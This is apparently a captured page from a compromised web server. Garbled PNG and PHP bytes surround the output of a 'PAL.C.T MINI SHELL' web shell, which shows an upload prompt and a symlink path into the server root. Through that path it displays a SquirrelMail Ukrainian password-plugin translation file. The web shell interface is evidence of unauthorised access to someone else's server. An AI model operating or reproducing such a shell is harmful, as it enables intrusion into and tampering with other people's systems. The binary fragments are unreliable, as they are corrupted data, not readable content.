php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/uk_UA/LC_MESSAGES/change_pass.po

# Ukrainian translation of SquirrelMail change_pass plugin
# Copyright (c) 2006-2009 The SquirrelMail Project Team
# Serhij Dubyk <dubyk@library.lviv.ua>, 2006
# $Id: change_pass.po 13719 2009-05-18 12:02:52Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: change_pass 2.7\n"
"POT-Creation-Date: 2003-09-12 12:12-0600\n"
"PO-Revision-Date: 2006-04-25 22:24+0200\n"
"Last-Translator: Serhij Dubyk <dubyk@library.lviv.ua>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Country: UKRAINE\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-Language: Ukrainian\n"

#: options.php:36
#: setup.php:18
msgid "Change Password"
msgstr "Змінити пароль"

#: options.php:77
msgid "Closing Connection"
msgstr "Завершення з'єднання"

#: options.php:137
msgid "Connecting to Password Server"
msgstr "З'єднання зі сервером паролів"

#: options.php:141
msgid "ERROR:"
msgstr "ПОМИЛКА:"

#: options.php:52
msgid "New Password"
msgstr "Новий пароль"

#: options.php:51
msgid "Old Password"
msgstr "Старий пароль"

#: options.php:173
#: setup.php:35
msgid "Password changed successfully."
msgstr "Пароль змінений успішно."

#: options.php:64
msgid "Submit"
msgstr "Затвердити"

#: setup.php:20
msgid "This connects to your local Password Server to change your email password."
msgstr "То буде з'єднання з Вашим локальним серером паролів, щоб замінити Ваш поштовий пароль."

#: options.php:53
msgid "Verify New Password"
msgstr "Перевірка нового пароля"

#: options.php:112
msgid "You must also type in your new password in the verify box."
msgstr "Ви повинні також занести Ваш новий пароль у поле для перевірки."

#: options.php:109
msgid "You must type in a new password."
msgstr "Ви повинні занести новий пароль."

#: options.php:106
msgid "You must type in your old password."
msgstr "Ви повинні занести Ваш старий пароль."

#: options.php:115
msgid "Your new password doesn't match the verify password."
msgstr "Ваш новий пароль не відповідає паролю перевірки."

#: options.php:118
msgid "Your old password is not correct."
msgstr "Ваш старий пароль не вірний."

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`